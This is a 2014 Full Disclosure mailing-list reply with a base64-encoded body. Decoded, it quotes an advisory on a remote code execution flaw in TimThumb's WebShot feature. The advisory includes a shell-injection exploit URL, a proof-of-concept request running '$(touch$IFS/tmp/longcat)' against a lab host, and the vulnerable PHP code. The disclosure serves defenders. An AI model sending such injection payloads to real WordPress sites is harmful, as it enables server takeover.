Re: [FD] Wordpress TimThumb 2.8.13 WebShot Remote Code Execution (0-day)

Ryan Dewhurst <[email protected]> Tue, 24 Jun 2014 21:12:26 +0200
Newsgroups gmane.comp.security.fulldisclosure,gmane.comp.security.full-disclosure
Message-ID <CAHw3cgRRFobdH_jcwFVMRMhDrFwJt9owmb8d1K7GzOc55aEOsQ@mail.gmail.com>
Tm90IGhhZCBjaGFuY2UgdG8gbG9vayBpbnRvIGl0IGluIGFueSBkZXB0aCBidXQgeW91IHNhaWQg
dGhhdCB3ZWJzaG90IG5lZWRzCnRvIGJlIGVuYWJsZWQgZm9yIHRoZSBleHBsb2l0IHRvIHdvcmsg
YW5kIHlvdSBhbHNvIHNhaWQgdGhhdAp0aGUgd29yZHByZXNzLWdhbGxlcnktcGx1Z2luIHdhcyB2
dWxuZXJhYmxlLgoKTG9va2luZyBhdCB3b3JkcHJlc3MtZ2FsbGVyeS1wbHVnaW4ncyByZXBvc2l0
b3J5IGl0IHNlZW1zIHdlYnNob3QgaXMKZGlzYWJsZWQgaW4gdGhlaXIgdGltcmh1bWIgZmlsZToK
Cmh0dHBzOi8vZ2l0aHViLmNvbS93cC1wbHVnaW5zL3dvcmRwcmVzcy1nYWxsZXJ5LXBsdWdpbi9i
bG9iLzM3ZTYwZDViN2ZkMWVkMzc3OWI4MjYxOGM1MDk4ZDQ1OWJjOGMwNTYvdGltdGh1bWIucGhw
I0wxMTQKClF1aWNrIHNlYXJjaCBvbiBHaXRodWIgZm9yIHRoZSBXRUJTSE9UX0VOQUJMRUQgY29u
c3RhbnQgYmVpbmcgc2V0IHRvIHRydWUKZG9lc24ndCB5aWVsZCBtYW55IHJlc3VsdHM6CgpodHRw
czovL2dpdGh1Yi5jb20vc2VhcmNoP3E9JTIyZGVmaW5lKyUyOCUyN1dFQlNIT1RfRU5BQkxFRCUy
NyUyQyt0cnVlJTI5JTNCJTIyJnR5cGU9Q29kZSZyZWY9c2VhcmNocmVzdWx0cwoKSSB3b25kZXIg
aG93IG1hbnkgV29yZFByZXNzICdhc3NldHMnIChwbHVnaW5zL3RoZW1lcykgYXJlIGFmZmVjdGVk
IGJ5IHRoaXMuCgoKT24gVHVlLCBKdW4gMjQsIDIwMTQgYXQgMTA6MjQgQU0sIFBpY2hheWEgTW9y
aW1vdG8gPHBpY2hheWFAaWVlZS5vcmc+IHdyb3RlOgoKPiAtLS0tLUJFR0lOIFBHUCBTSUdORUQg
TUVTU0FHRS0tLS0tCj4gSGFzaDogU0hBNTEyCj4KPiAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCj4gIyAgXyAgICAg
X19fICBfICAgXyAgX19fXyAgX19fXyAgICBfICBfX19fXwo+ICMgIHwgfCAgIC8gXyBcfCBcIHwg
fC8gX19ffC8gX19ffCAgLyBcfF8gICBffAo+ICMgIHwgfCAgfCB8IHwgfCAgXHwgfCB8ICBffCB8
ICAgICAvIF8gXCB8IHwKPiAjICB8IHxfX3wgfF98IHwgfFwgIHwgfF98IHwgfF9fXyAvIF9fXyBc
fCB8Cj4gIyAgfF9fX19fXF9fXy98X3wgXF98XF9fX198XF9fX18vXy8gICBcX1xffAo+ICMKPiAj
IFdvcmRwcmVzcyBUaW1UaHVtYiAyLjguMTMgV2ViU2hvdCBSZW1vdGUgQ29kZSBFeGVjdXRpb24g
KDAtZGF5KQo+ICMgQWZmZWN0ZWQgd2Vic2l0ZSA6IGEgbG90IFdvcmRwcmVzcyBUaGVtZXMsIFBs
dWdpbnMsIDNyZCBwYXJ0eSBjb21wb25lbnRzCj4gIyBFeHBsb2l0IEF1dGhvciA6IEB1MHggKFBp
Y2hheWEgTW9yaW1vdG8pCj4gIyBSZWxlYXNlIGRhdGVzIDogSnVuZSAyNCwgMjAxNAo+ICMKPiAj
IFNwZWNpYWwgVGhhbmtzIHRvIDI2MDAgVGhhaWxhbmQgZ3JvdXAKPiAjIDogWGVsZW5vbnosIGFu
aWRlYXIsIHdpbmRvd3M5OHNlLCBpY2hlZXJub29tLCB3NHgwciwgcGlzdGFjaGlvCj4gIyBodHRw
czovL3d3dy5mYWNlYm9vay5jb20vZ3JvdXBzLzI2MDBUaGFpbGFuZC8gLCBodHRwOi8vMjYwMC5p
bi50aC8KPiAjCj4gIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCj4KPiBbK10gRGVzY3JpcHRpb24KPiA9PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KPiBU
aW1UaHVtYiBpcyBhIHNtYWxsIHBocCBzY3JpcHQgZm9yIGNyb3BwaW5nLCB6b29taW5nIGFuZCBy
ZXNpemluZyB3ZWIKPiBpbWFnZXMgKGpwZywgcG5nLCBnaWYpLiBQZXJmZWN0IGZvciB1c2Ugb24g
YmxvZ3MgYW5kIG90aGVyIGFwcGxpY2F0aW9ucy4KPiBEZXZlbG9wZWQgZm9yIHVzZSBpbiB0aGUg
V29yZFByZXNzIHRoZW1lIE1pbWJvIFBybywgYW5kIHNpbmNlIHVzZWQgaW4gbWFueQo+IG90aGVy
IFdvcmRQcmVzcyB0aGVtZXMuCj4KPiBodHRwOi8vd3d3LmJpbmFyeW1vb24uY28udWsvcHJvamVj
dHMvdGltdGh1bWIvCj4gaHR0cHM6Ly9jb2RlLmdvb2dsZS5jb20vcC90aW10aHVtYi8KPgo+IFRo
ZSBvcmlnaW5hbCBwcm9qZWN0ICBXb3JkVGh1bWIgMS4wNyBhbHNvIHZ1bG5lcmFibGUgKAo+IGh0
dHBzOi8vY29kZS5nb29nbGUuY29tL3Avd29yZHRodW1iLykKPiBUaGV5IGJvdGggc2hhcmVkIGV4
YWN0bHkgdGhlIHNhbWUgV2ViU2hvdCBjb2RlISBBbmQgdGhlcmUgYXJlIHNldmVyYWwKPiBwcm9q
ZWN0cyB0aGF0IHNoaXBwZWQgd2l0aCAidGltdGh1bWIucGhwIiwgc3VjaCBhcywKPiBXb3JkcHJl
c3MgR2FsbGVyeSBQbHVnaW4KPiBodHRwczovL3dvcmRwcmVzcy5vcmcvcGx1Z2lucy93b3JkcHJl
c3MtZ2FsbGVyeS1wbHVnaW4vCj4gSUdJVCBQb3N0cyBTbGlkZXIgV2lkZ2V0Cj4gaHR0cDovL3dv
cmRwcmVzcy5vcmcvcGx1Z2lucy9pZ2l0LXBvc3RzLXNsaWRlci13aWRnZXQvCj4KPiBBbGwgdGhl
bWVzIGZyb20gaHR0cDovL3RoZW1pZnkubWUvIGNvbnRhaW5zIHZ1bG5lcmFibGUgIndvcmR0aHVt
YiIgaW4KPiAiPHRoZW1lLW5hbWU+L3RoZW1pZnkvaW1nLnBocCIuCj4KPiBbK10gRXhwbG9pdAo+
ID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PQo+IGh0dHA6Ly8KPgo+IDx3cC13ZWJzaXRlPi93cC1jb250ZW50L3RoZW1lcy88d3AtdGhl
bWU+L3BhdGgvdG8vdGltdGh1bWIucGhwP3dlYnNob3Q9MSZzcmM9aHR0cDovLwo+IDx3cC13ZWJz
aXRlPiQoPG9zLWNtZHM+KQo+Cj4gKiogTm90ZSB0aGF0IE9TIGNvbW1hbmRzIHBheWxvYWQgTVVT
VCBiZSB3aXRoaW4gZm9sbG93aW5nIGNoYXJhY3RlciBzZXRzOgo+IFtBLVphLXowLTlcLVwuXF9c
fjpcL1w/XCNcW1xdXEBcIVwkXCZcJ1woXClcKlwrXCxcO1w9XQo+Cj4gKiogU3BhY2VzLCBQaXBl
LCBHVCBzaWduIGFyZSBub3QgYWxsb3dlZC4KPiAqKiBUaGlzIFdlYlNob3QgZmVhdHVyZSBpcyBE
SVNBQkxFRCBieSBkZWZhdWx0Lgo+ICoqIEN1dHlDYXB0IGFuZCBYVkZCIG11c3QgYmUgaW5zdGFs
bGVkIGluIGNvbnN0YW50cy4KPgo+IFsrXSBQcm9vZi1vZi1Db25jZXB0Cj4gPT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Cj4gVGhlcmUg
YXJlIGNvdXBsZSB0ZWNobmlxdWVzIHRoYXQgY2FuIGJlIHVzZWQgdG8gYnlwYXNzIGxpbWl0ZWQg
Y2hhcnNldHMgYnV0Cj4gSSB3aWxsIHVzZSBhIHNoZWxsIHZhcmlhYmxlICRJRlMgaW5zdGVhZHMg
b2Ygc3BhY2UgaW4gdGhpcyBzY2VuYXJpby4KPgo+IFBvQyBFbnZpcm9ubWVudDoKPiBVYnVudHUg
MTQuMDQgTFRTCj4gUEhQIDUuNS45Cj4gV29yZHByZXNzIDMuOS4xCj4gVGhlbWlmeSBQYXJhbGxh
eCBUaGVtZSAxLjUuMgo+IFdvcmRUaHVtYiAxLjA3Cj4KPiBDcmFmdGVkIEV4cGxvaXQ6Cj4KPiBo
dHRwOi8vbG9uY2F0bGFiLmxvY2FsL3dwLWNvbnRlbnQvdGhlbWVzL3BhcmFsbGF4L3RoZW1pZnkv
aW1nLnBocD93ZWJzaG90PTEmc3JjPWh0dHA6Ly9sb25jYXRsYWIubG9jYWwvJCh0b3VjaCRJRlMv
dG1wL2xvbmdjYXQpCj4KPiBHRVQgL3dwLWNvbnRlbnQvdGhlbWVzL3BhcmFsbGF4L3RoZW1pZnkv
aW1nLnBocD93ZWJzaG90PTEmc3JjPQo+IGh0dHA6Ly9sb25nY2F0bGFiLmxvY2FsLyQodG91Y2gk
SUZTL3RtcC9sb25nY2F0KSBIVFRQLzEuMQo+IEhvc3Q6IGxvbmdjYXRsYWIubG9jYWwKPiBQcm94
eS1Db25uZWN0aW9uOiBrZWVwLWFsaXZlCj4gQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0wCj4gQWNj
ZXB0Ogo+IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9
MC45LGltYWdlL3dlYnAsKi8qO3E9MC44Cj4gVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsg
TGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlCj4gR2Vja28pIENo
cm9tZS8zNS4wLjE5MTYuMTUzIFNhZmFyaS81MzcuMzYKPiBBY2NlcHQtRW5jb2Rpbmc6IGd6aXAs
ZGVmbGF0ZSxzZGNoCj4gQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuOAo+IENvb2tpZTog
d29vY29tbWVyY2VfcmVjZW50bHlfdmlld2VkPTklN0MxMiU3QzE2Owo+IHdwLXNldHRpbmdzLTE9
bGlicmFyeUNvbnRlbnQlM0Ricm93c2UlMjZlZGl0b3IlM0R0aW55bWNlOwo+IHdwLXNldHRpbmdz
LXRpbWUtMT0xNDAzNTA0NTM4OyB0aGVtaWZ5LWJ1aWxkZXItdGFicz1xdWVyeS1wb3J0Zm9saW90
Owo+IHdvcmRwcmVzc190ZXN0X2Nvb2tpZT1XUCtDb29raWUrY2hlY2s7Cj4KPiB3b3JkcHJlc3Nf
bG9nZ2VkX2luXzI2Nzc1ODA4YmUyYTE3YjE1Y2Y0M2RmZWUzYTY4MWM5PW1vZGVyYXRvciU3QzE0
MDM3NDc1OTklN0M2MjI0NGNlMzkxOGUyM2RmMWJkMjI0NTBiM2Q3ODY4NQo+Cj4gSFRUUC8xLjEg
NDAwIEJhZCBSZXF1ZXN0Cj4gRGF0ZTogVHVlLCAyNCBKdW4gMjAxNCAwNzoyMDo0OCBHTVQKPiBT
ZXJ2ZXI6IEFwYWNoZQo+IFgtUG93ZXJlZC1CeTogUEhQLzUuNS45LTF1YnVudHU0Cj4gWC1Db250
ZW50LVR5cGUtT3B0aW9uczogbm9zbmlmZgo+IFgtRnJhbWUtT3B0aW9uczogc2FtZW9yaWdpbgo+
IENvbnRlbnQtTGVuZ3RoOiAzMDU5Cj4gQ29ubmVjdGlvbjogY2xvc2UKPiBDb250ZW50LVR5cGU6
IHRleHQvaHRtbAo+Cj4g4oCmCj4gPGEgaHJlZj0naHR0cDovL3d3dy5waHAubmV0L2Z1bmN0aW9u
LmdldGltYWdlc2l6ZScKPiB0YXJnZXQ9J19uZXcnPmdldGltYWdlc2l6ZTwvYT4KPiAoICApPC90
ZD48dGQKPgo+IHRpdGxlPScvdmFyL3d3dy9sb25nY2F0bGFiLmxvY2FsL3B1YmxpY19odG1sL3dw
LWNvbnRlbnQvdGhlbWVzL3BhcmFsbGF4L3RoZW1pZnkvaW1nLnBocCcKPiBiZ2NvbG9yPScjZWVl
ZWVjJz4uLi9pbWcucGhwPGI+OjwvYj4zODg8L3RkPjwvdHI+Cj4gPC90YWJsZT48L2ZvbnQ+Cj4g
PGgxPkEgV29yZFRodW1iIGVycm9yIGhhcyBvY2N1cmVkPC9oMT5UaGUgZm9sbG93aW5nIGVycm9y
KHMpIG9jY3VyZWQ6PGJyCj4gLz48dWw+PGxpPlRoZSBpbWFnZSBiZWluZyByZXNpemVkIGlzIG5v
dCBhIHZhbGlkIGdpZiwganBnIG9yCj4gcG5nLjwvbGk+PC91bD48YnIgLz48YnIgLz5RdWVyeSBT
dHJpbmcgOiB3ZWJzaG90PTEmYW1wO3NyYz0KPiBodHRwOi8vbG9uZ2NhdGxhYi5sb2NhbC8kKHRv
dWNoJElGUy90bXAvbG9uZ2NhdCk8YnIgLz5Xb3JkVGh1bWIgdmVyc2lvbiA6Cj4gMS4wNzwvcHJl
Pgo+Cj4gRXZlbiBpdCByZXNwb25zZSB3aXRoIGVycm9yIG1lc3NhZ2VzIGJ1dCBpbmplY3RlZCBP
UyBjb21tYW5kIGhhcyBhbHJlYWR5Cj4gYmVlbiBleGVjdXRlZC4KPgo+ICQgbHMgL3RtcC9sb25n
Y2F0IC1saGEKPiAtIC1ydy1yLS1yLS0gMSB3d3ctZGF0YSB3d3ctZGF0YSAwIOC4oeC4tC7guKIu
ICAyNCAxNDoyMCAvdG1wL2xvbmdjYXQKPgo+Cj4gWytdIFZ1bG5lcmFiaWxpdHkgQW5hbHlzaXMK
PiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT0KPiBodHRwczovL3RpbXRodW1iLmdvb2dsZWNvZGUuY29tL3N2bi90cnVuay90aW10aHVt
Yi5waHAKPgo+IEZpbGVuYW1lOiB0aW10aHVtYi5waHAKPgo+IGlmKCEgZGVmaW5lZCgnV0VCU0hP
VF9FTkFCTEVEJykgKSBkZWZpbmUgKCdXRUJTSE9UX0VOQUJMRUQnLCB0cnVlKTsKPiBpZighIGRl
ZmluZWQoJ1dFQlNIT1RfQ1VUWUNBUFQnKSApIGRlZmluZSAoJ1dFQlNIT1RfQ1VUWUNBUFQnLAo+
ICcvdXNyL2xvY2FsL2Jpbi9DdXR5Q2FwdCcpOwo+IGlmKCEgZGVmaW5lZCgnV0VCU0hPVF9YVkZC
JykgKSBkZWZpbmUgKCdXRUJTSE9UX1hWRkInLAo+ICcvdXNyL2Jpbi94dmZiLXJ1bicpOwo+IC4u
Lgo+IHRpbXRodW1iOjpzdGFydCgpOyDihpAgc3RhcnQgc2NyaXB0Cj4gLi4uCj4gcHVibGljIHN0
YXRpYyBmdW5jdGlvbiBzdGFydCgpewo+ICR0aW0gPSBuZXcgdGltdGh1bWIoKTsg4oaQIGNyZWF0
ZSB0aW10aHVtYiBvYmplY3QsIGNhbGwgX19jb25zdHJ1Y3QoKQo+IC4uLgo+ICR0aW0tPnJ1bigp
Owo+IC4uLgo+IHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpewo+IC4uLgo+ICR0aGlzLT5z
cmMgPSAkdGhpcy0+cGFyYW0oJ3NyYycpOyDihpAgc2V0ICJzcmMiIHZhcmlhYmxlIHRvIEhUVFAg
R0VUICJzcmMiCj4gcGFyYW1ldGVyCj4g4oCmCj4gaWYocHJlZ19tYXRjaCgnL15odHRwcz86XC9c
L1teXC9dKy9pJywgJHRoaXMtPnNyYykpewo+IC4uLgo+ICR0aGlzLT5pc1VSTCA9IHRydWU7IOKG
kCBwcmVmaXggaHR0cC9zIHJlc3VsdCBpbiBpc1VSTCA9IHRydWUKPiB9Cj4gLi4uCj4KPiBwcm90
ZWN0ZWQgZnVuY3Rpb24gcGFyYW0oJHByb3BlcnR5LCAkZGVmYXVsdCA9ICcnKXsKPiBpZiAoaXNz
ZXQgKCRfR0VUWyRwcm9wZXJ0eV0pKSB7Cj4gcmV0dXJuICRfR0VUWyRwcm9wZXJ0eV07Cj4gLi4u
Cj4KPiBwdWJsaWMgZnVuY3Rpb24gcnVuKCl7Cj4gaWYoJHRoaXMtPmlzVVJMKXsKPiAuLi4KPiBp
ZigkdGhpcy0+cGFyYW0oJ3dlYnNob3QnKSl7IOKGkCBIVFRQIEdFVCAid2Vic2hvdCIgbXVzdCBz
dWJtaXR0ZWQKPiBpZihXRUJTSE9UX0VOQUJMRUQpeyDihpAgdGhpcyBwcmUtZGVmaW5lZCBjb25z
dGFudCBtdXN0IGJlIHRydWUKPiAuLi4KPiAkdGhpcy0+c2VydmVXZWJzaG90KCk7IOKGkCBjYWxs
IHdlYnNob3QgZmVhdHVyZQo+IH0gZWxzZSB7Cj4gLi4uCj4KPiBwcm90ZWN0ZWQgZnVuY3Rpb24g
c2VydmVXZWJzaG90KCl7Cj4gLi4uCj4gaWYoISBpc19maWxlKFdFQlNIT1RfQ1VUWUNBUFQpKXsg
4oaQIGNoZWNrIGV4aXN0aW5nIG9mIGN1dHljYXB0Cj4gcmV0dXJuICR0aGlzLT5lcnJvcigiQ3V0
eUNhcHQgaXMgbm90IGluc3RhbGxlZC4gJGluc3RyIik7Cj4gfQo+IGlmKCEgaXNfZmlsZShXRUJT
SE9UX1hWRkIpKXsg4oaQIGNoZWNrIGV4aXN0aW5nIG9mIHh2ZmIKPiByZXR1cm4gJHRoaXMtPkVy
cm9yKCJYdmZiIGlzIG5vdCBpbnN0YWxsZWQuICRpbnN0ciIpOwo+IH0KPiAuLi4KPiAkdXJsID0g
JHRoaXMtPnNyYzsKPiBpZighIHByZWdfbWF0Y2goJy9eaHR0cHM/OlwvXC9bYS16QS1aMC05XC5c
LV0rL2knLCAkdXJsKSl7IOKGkCBjaGVjayB2YWxpZAo+IFVSTCAjTG9MCj4gcmV0dXJuICR0aGlz
LT5lcnJvcigiSW52YWxpZCBVUkwgc3VwcGxpZWQuIik7Cj4gfQo+ICR1cmwgPQo+IHByZWdfcmVw
bGFjZSgnL1teQS1aYS16MC05XC1cLlxfXH46XC9cP1wjXFtcXVxAXCFcJFwmXCdcKFwpXCpcK1ws
XDtcPV0rLycsCj4gJycsICR1cmwpOyAg4oaQIGNoZWNrIHZhbGlkIFVSTCBhcyBzcGVjaWZpZWQg
aW4gUkZDIDM5ODYKPiBodHRwOi8vd3d3LmlldGYub3JnL3JmYy9yZmMzOTg2LnR4dAo+IC4uLgo+
IGlmKFdFQlNIT1RfWFZGQl9SVU5OSU5HKXsKPiBwdXRlbnYoJ0RJU1BMQVk9OjEwMC4wJyk7Cj4g
JGNvbW1hbmQgPSAiJGN1dHkgJHByb3h5IC0tbWF4LXdhaXQ9JHRpbWVvdXQgLS11c2VyLWFnZW50
PVwiJHVhXCIKPiAtLWphdmFzY3JpcHQ9JGpzT24gLS1qYXZhPSRqYXZhT24gLS1wbHVnaW5zPSRw
bHVnaW5zT24KPiAtLWpzLWNhbi1vcGVuLXdpbmRvd3M9b2ZmIC0tdXJsPVwiJHVybFwiIC0tb3V0
LWZvcm1hdD0kZm9ybWF0Cj4gLS1vdXQ9JHRlbXBmaWxlIjsg4oaQIE9TIHNoZWxsIGNvbW1hbmQg
aW5qZWN0aW9uCj4gfSBlbHNlIHsKPiAkY29tbWFuZCA9ICIkeHYgLS1zZXJ2ZXItYXJncz1cIi1z
Y3JlZW4gMCwKPiB7JHNjcmVlblh9eHskc2NyZWVuWX14eyRjb2xEZXB0aH1cIiAkY3V0eSAkcHJv
eHkgLS1tYXgtd2FpdD0kdGltZW91dAo+IC0tdXNlci1hZ2VudD1cIiR1YVwiIC0tamF2YXNjcmlw
dD0kanNPbiAtLWphdmE9JGphdmFPbiAtLXBsdWdpbnM9JHBsdWdpbnNPbgo+IC0tanMtY2FuLW9w
ZW4td2luZG93cz1vZmYgLS11cmw9XCIkdXJsXCIgLS1vdXQtZm9ybWF0PSRmb3JtYXQKPiAtLW91
dD0kdGVtcGZpbGUiOyDihpAgT1Mgc2hlbGwgY29tbWFuZCBpbmplY3Rpb24KPiB9Cj4gLi4uCj4g
JG91dCA9IGAkY29tbWFuZGA7ICDihpAgZXhlY3V0ZSAkY29tbWFuZCBhcyBzaGVsbCBjb21tYW5k
Cj4KPiAiUEhQIHN1cHBvcnRzIG9uZSBleGVjdXRpb24gb3BlcmF0b3I6IGJhY2t0aWNrcyAoYGAp
LiBOb3RlIHRoYXQgdGhlc2UgYXJlCj4gbm90IHNpbmdsZS1xdW90ZXMhIFBIUCB3aWxsIGF0dGVt
cHQgdG8gZXhlY3V0ZSB0aGUgY29udGVudHMgb2YgdGhlCj4gYmFja3RpY2tzIGFzIGEgc2hlbGwg
Y29tbWFuZC4iIC0KPiBodHRwOi8vd3d3LnBocC5uZXQvL21hbnVhbC9lbi9sYW5ndWFnZS5vcGVy
YXRvcnMuZXhlY3V0aW9uLnBocAo+Cj4gIiR1cmwiIGlzIGZhaWxlZCB0byBlc2NhcGUgIiQoKSIg
aW4gIiRjb21tYW5kIiB3aGljaCBpcyByZXN1bHQgaW4gYXJiaXRyYXJ5Cj4gY29kZSBleGVjdXRp
b24uCj4gLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KPiBWZXJzaW9uOiBHbnVQRyB2MQo+
Cj4gaVFJY0JBRUJDZ0FHQlFKVHFUVHNBQW9KRUIya0hhcGQxWE1VeStjUC8ydWxDUzFSOGJYRGRh
N1IwUElmbjlnOQo+IEZFRUNvTEZWMnRhdjFtU25XenVjY3ZXQTN2bDNnOFNVdi9ZN0dDS3M4MjRH
VmF1aGNlc3RVVUNwVktkQ1MzR3UKPiA4eXBmWE9kZWNFKzh5a29QaFdmajJGV2NLTnBYVGRDb016
OFR1Z1ZrTk0zK1NTMGFrV1lXcUhlYW1YQ3FjM1NLCj4gWkFpS2ZZUVovanZWUlJvOG4vQUFXWXY1
ZThoWkxtRTZxaUxHZFRGcnNIN1Z0a0FCSU01bGM4OG84cWc2UlU1eAo+IHpnODdraFp4VStIdEpk
ek4vZ0gwWDZETDcrTkplNkhPcXVuLytWOHBtLzVKRURVU3BpV1pJTTF4cHlJWTZHcVcKPiBVblUy
NVVrU3QxdStQbkxYN0tocXhVQU5VMjMwQlk5Tnk3QklocC9xMWlSdnJLVElISzBXWUVMM005NllP
TkQyCj4gK28yWUp0aGZMN3ptOWs4WE1vRjJHUWFhZXFBbldqR21RQzlPbzRvZ0Y1N1gwUXpiMW13
VWQwMWRiL1I1ZmdQZgo+IDlJSUxucFdWMktMcTU3UjNzZFZlc3JpRWhUTlczNENxZjc3d1MzUDVZ
NW8yY3NiRkwwT3NwdWxPVlBNMXVKVHAKPiBTMXNqdUVMNWdLM25KcXpvN0syaWh4ZG1tM28yaEE5
UVh5bjhHalRSdTZFU1oyNmhTWmdVRXlDNlAyNnlBdDBZCj4gSUh1cU1MM3k5Z3VDNzIwQmtOb2Mx
Z1paTmVqZ3FHSFVkYzZFWHpxTzlualpGeDVEUHREdGYzTTBmNnVaZkgvQwo+IGtuQjlFMzJMbzlF
RnUyUy9iamJsZ09RUVVQTnRLUk5VUnBzR0FyeDJlaWxQTWRUaEdMWkFORlBJenZ4WVNscnoKPiBj
bnc0dk40dFk4UE9MNUZGNytnRgo+ID1qQUwxCj4gLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0t
Cj4KPiBfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwo+IFNl
bnQgdGhyb3VnaCB0aGUgRnVsbCBEaXNjbG9zdXJlIG1haWxpbmcgbGlzdAo+IGh0dHA6Ly9ubWFw
Lm9yZy9tYWlsbWFuL2xpc3RpbmZvL2Z1bGxkaXNjbG9zdXJlCj4gV2ViIEFyY2hpdmVzICYgUlNT
OiBodHRwOi8vc2VjbGlzdHMub3JnL2Z1bGxkaXNjbG9zdXJlLwoKX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX18KU2VudCB0aHJvdWdoIHRoZSBGdWxsIERpc2Ns
b3N1cmUgbWFpbGluZyBsaXN0Cmh0dHA6Ly9ubWFwLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2Z1bGxk
aXNjbG9zdXJlCldlYiBBcmNoaXZlcyAmIFJTUzogaHR0cDovL3NlY2xpc3RzLm9yZy9mdWxsZGlz
Y2xvc3VyZS8=